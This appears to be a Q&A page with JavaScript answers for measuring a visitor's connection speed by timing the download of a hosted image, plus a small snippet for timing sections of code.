I needed something similar, so I wrote https://github.com/beradrian/jsbandwidth. This is a rewrite of https://code.google.com/p/jsbandwidth/.
The idea is to make two calls through Ajax, one to download and the other to upload through POST.
It should work with both jQuery.ajax or Angular $http.
//JUST AN EXAMPLE, PLEASE USE YOUR OWN PICTURE!
var imageAddr = "https://i.ibb.co/sPbbkkZ/pexels-lisa-1540258.jpg";
var downloadSize = 10500000; //bytes
function ShowProgressMessage(msg) {
if (console) {
if (typeof msg == "string") {
console.log(msg);
} else {
for (var i = 0; i < msg.length; i++) {
console.log(msg[i]);
}
}
}
var oProgress = document.getElementById("progress");
if (oProgress) {
var actualHTML = (typeof msg == "string") ? msg : msg.join("<br />");
oProgress.innerHTML = actualHTML;
}
}
function InitiateSpeedDetection() {
ShowProgressMessage("Loading the image, please wait...");
window.setTimeout(MeasureConnectionSpeed, 1);
};
if (window.addEventListener) {
window.addEventListener('load', InitiateSpeedDetection, false);
} else if (window.attachEvent) {
window.attachEvent('onload', InitiateSpeedDetection);
}
function MeasureConnectionSpeed() {
var startTime, endTime;
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
showResults();
}
download.onerror = function (err, msg) {
ShowProgressMessage("Invalid image, or error downloading");
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = imageAddr + cacheBuster;
function showResults() {
var duration = (endTime - startTime) / 1000;
var bitsLoaded = downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
ShowProgressMessage([
"Your connection speed is:",
speedBps + " bps",
speedKbps + " kbps",
speedMbps + " Mbps"
]);
}
}
<h1 id="progress">JavaScript is turned off, or your browser is realllllly slow</h1>
Mini snippet:
var speedtest = {};
function speedTest_start(name) { speedtest[name]= +new Date(); }
function speedTest_stop(name) { return +new Date() - speedtest[name] + (delete
speedtest[name]?0:0); }
use like:
speedTest_start("test1");
// ... some code
speedTest_stop("test1");
// returns the time duration in ms
Also more tests possible:
speedTest_start("whole");
// ... some code
speedTest_start("part");
// ... some code
speedTest_stop("part");
// returns the time duration in ms of "part"
// ... some code
speedTest_stop("whole");
// returns the time duration in ms of "whole"

Categories

Resources